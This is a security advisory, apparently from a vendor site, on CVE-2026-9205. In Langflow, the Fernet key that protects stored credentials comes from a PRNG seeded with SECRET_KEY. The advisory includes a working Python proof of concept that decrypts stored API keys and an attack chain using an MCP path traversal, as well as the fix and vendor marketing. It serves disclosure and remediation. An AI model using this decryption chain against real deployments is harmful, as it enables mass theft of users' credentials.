Summary
Langflow: Weak Fernet Key via random.seed()
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters, a common scenario for self-hosted deployments using simple/memorable secrets, the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key, meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1)
CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
MINIMUM_KEY_LENGTH = 32
def _ensure_valid_key(self, raw_key: str) -> bytes:
if len(raw_key) < MINIMUM_KEY_LENGTH:
random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret
key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
key = base64.urlsafe_b64encode(key)
else:
key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key
return key
def _get_fernet(self) -> Fernet:
secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
valid_key = self._ensure_valid_key(secret_key)
return Fernet(valid_key)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).
What is encrypted under this key:
All variables stored with type = "Credential", this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
Why this is critical in combination with the MCP path traversal:
The secret_key file is stored at /app/data/.cache/langflow/secret_key, readable via the MCP path traversal vulnerability. Once exfiltrated:
- If
len(secret_key) < 32: runrandom.seed(secret_key)→ derive identical key → decrypt all credentials instantly - If
len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
#!/usr/bin/env python3
# Requires: pip install cryptography
import random
import base64
from cryptography.fernet import Fernet
# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()
# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db
SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch
CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M="
plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)
print(f"Decrypted credential: {plaintext}")
# Output: sk-test-SENTINEL-VALUE-12345
Confirmed on Langflow v1.7.3:
- Database path:
/app/.venv/lib/python3.12/site-packages/langflow/langflow.db - Two
Credential-type variables found in thevariabletable - Both decrypted successfully:
"dummy"and"sk-test-SENTINEL-VALUE-12345" - The sentinel value (
sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltratedsecret_key
End-to-end chain (with MCP path traversal):
# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)
# Step 2: Query DB credentials via path traversal (SQLite file readable)
# Step 3: Decrypt offline, zero brute force, instant
python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT"
# → all stored API keys revealed
Impact
All stored user credentials are at risk in any Langflow deployment where an attacker can read the secret_key file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
- OpenAI, Anthropic, and other LLM provider API keys stored by any user are decryptable
- Database connection strings and passwords stored as credentials are exposed
- OAuth tokens and webhook secrets stored via the Variables UI are exposed
- All users on the instance are affected, credentials are stored per-user in the shared database but all encrypted under the same instance-wide
SECRET_KEY
In multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.
CVE-2026-9205 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.10.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).
ensure_fernet_key() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRET_KEY values. The 32-byte key is now derived deterministically with SHA-256:
def ensure_fernet_key(secret_key: str) -> bytes:
if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH:
digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes
key = base64.urlsafe_b64encode(digest)
else:
key = add_base64_padding(secret_key).encode()
return key
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via get_fernet_for_decryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secret_key) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Affected versions: <= 1.10.0
Patched version: 1.10.1
Operator note: deployments running with a SECRET_KEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRET_KEY (secrets.token_urlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.
Frequently Asked Questions
- What is CVE-2026-9205? CVE-2026-9205 is a critical-severity security vulnerability in langflow (pip), affecting versions <= 1.10.0. It is fixed in 1.10.1.
- How severe is CVE-2026-9205? CVE-2026-9205 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of langflow are affected by CVE-2026-9205? langflow (pip) versions <= 1.10.0 is affected.
- Is there a fix for CVE-2026-9205? Yes. CVE-2026-9205 is fixed in 1.10.1. Upgrade to this version or later.
- Is CVE-2026-9205 exploitable, and should I be worried? Whether CVE-2026-9205 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-9205 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-9205? Upgrade
langflowto 1.10.1 or later.